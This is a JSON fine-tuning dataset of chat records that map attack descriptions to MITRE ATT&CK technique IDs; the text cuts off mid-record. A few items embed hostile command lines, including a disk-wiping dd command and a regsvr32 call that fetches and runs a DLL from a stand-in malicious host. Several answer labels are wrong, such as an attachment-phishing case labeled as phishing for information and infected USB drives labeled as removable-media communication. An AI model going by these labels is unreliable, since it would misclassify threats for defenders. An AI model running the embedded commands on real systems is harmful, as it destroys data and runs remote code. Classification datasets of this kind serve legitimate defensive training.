    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors erase previously created image backups and shadow copies to thwart forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a launchctl-managed service, allowing the attacker to maintain elevated execution without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests victims' email addresses by scraping public LinkedIn profiles and aggregating them into a list."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script embedded in a compromised web page reads and leaks the user's session cookie to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used the 'net group' command on the local machine to list all local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a credential dumping tool on a server to collect credentials for service accounts stored in memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a convincing email that pretends to be from a known vendor, attaching a malicious PDF that executes a payload when opened, allowing the attacker to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote exploit disables the TPM's sealing functionality, allowing unauthorized modification of encrypted data."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts a refresh token from a web application and exchanges it for a new access token to impersonate a legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware encrypts database dump files (.sql) and appends a .locked extension before displaying a ransom note."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages Kerberos ticket manipulation to escalate privileges on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code takes advantage of a vulnerable systemd service file to execute as root."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool disables Event Tracing for Windows (ETW) for command-line activities, impairing command history logs."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker created a fake login page for Facebook and tricked users into entering their credentials, which were then used to hijack their accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining SYSTEM rights, the actor uses reg.exe to export the LSA Secrets registry hive for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute scripts that enumerate database schemas and extract them from the organization's data lake."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a search for the company's name combined with \"jobs\" to find candidate lists and skill requirements."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates stored session tokens in a web application’s Redis cache, hijacking user sessions to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the “secretsdump” tool to remotely retrieve NTLM hashes from a Windows server."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host uses a hidden FTP session to retrieve additional payloads, followed by establishing a reverse SSH tunnel for persistent command and control."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Remote Desktop Services feature in Windows Server, the attacker executed a remote code execution exploit to gain system privileges."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder queries public search engines for the victim's domain names and related subdomains to map their online presence."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The domain used by the malware leverages fast-flux DNS, providing a new IP address for each DNS resolution request."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Windows Narrator accessibility service to run PowerShell scripts automatically after user login."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a scheduled Helm release that triggers a container to perform privilege escalation on newly provisioned nodes."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs on the target system to pull .bash_history files from user directories, searching for any exposed credentials within the recorded commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes infected USB flash drives in public places, which install a backdoor when a user plugs them in."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creating a rogue account on a compromised system for persistence"
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators generate a fake email account on a popular provider to test phishing campaign effectiveness."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor enumerates attached printers and scanners via the /proc/bus/usb directory on a Linux machine."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msiexec /qn /i evil.msi, the threat actor executes a payload without alerting the user."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disconnects and deletes network share mappings to prevent detection of stolen data movement."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat writes random data to the raw device '/dev/nvme0n1' using 'dd if=/dev/urandom of=/dev/nvme0n1 bs=4M' to corrupt all data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan applies a simple XOR with a static key to all exfiltrated data and then represents the result in decimal."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a newly discovered exploit for a critical operating system vulnerability from a darknet marketplace."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets the COR_PROFILER and COR_PROFILER_PATH environment variables to load a malicious .NET profiler DLL, causing the victim process to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests browser session cookies via a malicious script and replays them to gain authenticated access to the victim's web application."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a UAC bypass technique to evade detection by User Account Control (UAC) and gain elevated privileges on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the WinRAR COM interface to archive collected files."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces a legitimate company logo with a crafted GIF that triggers a PowerShell payload via a vulnerable image rendering engine on Windows."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Word template includes a VBA macro that loads a custom add‑in at application launch."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker disabled Google Cloud Armor protection by altering the security policy settings via compromised service account."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a LinkedIn message with an embedded URL that points to a malicious JavaScript downloader."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a scheduled task, the attacker runs a command that sets the processor performance boost mode to 'Maximum' to increase computational resources for cryptomining."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised an on‑premises Active Directory server and altered the password hash synchronization process to inject forged Kerberos tickets into Azure AD."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates peripheral devices to identify potential exfiltration points."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a Python script that logs into the victim’s Outlook Web Access (OWA) portal and harvests recent email messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query commercial threat intelligence feeds and subscription services to obtain information about target organizations."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script downloaded a payload and used regsvr32 /s /n /i:http://malicious.com/bad.dll to register and execute the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape browser credential stores to collect saved web login credentials."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor distributes a compromised version of a common utility that loads a malicious shared library via the dynamic linker."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses standard Base64 encoding to disguise exfiltrated data in email attachments."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves forging Kerberos tickets by manipulating the KRBTGT account hash to produce golden tickets."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Form Region is distributed via a shared calendar invite, causing the victim's Outlook to load and execute the attacker's code on launch."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware developers embed their payloads in legitimate system utilities and then remove any embedded version info to obscure the source."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team script runs 'dsquery * \"CN=System,DC=example,DC=com\" -filter \"(objectClass=trustedDomain)\"' to collect trust data."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs open-source reconnaissance by querying public web sites and domain registries to collect victim information."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the Outlook REST API to programmatically add a rule that forwards all calendar invites and emails to a malicious address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exfiltrated data by embedding it within legitimate video streaming traffic to a public CDN."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs DNS resolution based on calculated domain names, enabling flexible command‑and‑control communication."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends spear‑phishing emails containing malicious attachments that, when opened, dump the victim's saved passwords from the browser."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor program writes a new account entry into the Windows SAM database."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised service accounts to query Exchange mailboxes through the Graph API, collecting inbound and outbound emails."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects malicious code into a running svchost.exe process using reflective DLL loading."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script iterates through a dictionary of typical admin usernames to discover valid accounts on an internal web application."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised software installs a rogue .proj file that, when processed by MSBuild, triggers execution of a PowerShell reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the legitimate network provider DLL on a Windows host to intercept and modify user credentials during logon."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilized the Unix shell to perform privilege escalation by exploiting a sudo misconfiguration."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor created a script called \"explorer .bat\" with an extra space, tricking users into thinking it was the standard Explorer batch file."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers install a stealthy client that syncs with the victim’s Outlook app and copies all emails locally."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A command-line utility disguises its network traffic as regular ping (ICMP) packets, but the payload carries hidden commands."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin runs 'net stop eventlog' and then sets the service startup type to disabled."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a PowerShell script to sync harvested data with a Dropbox account under their control."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to query the Exchange Management Shell for mailbox export."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor performs a noisy scan of all executable files in \\Program Files to infer installed software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a scheduled task that runs a batch script, which in turn acts as a proxy to execute further malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
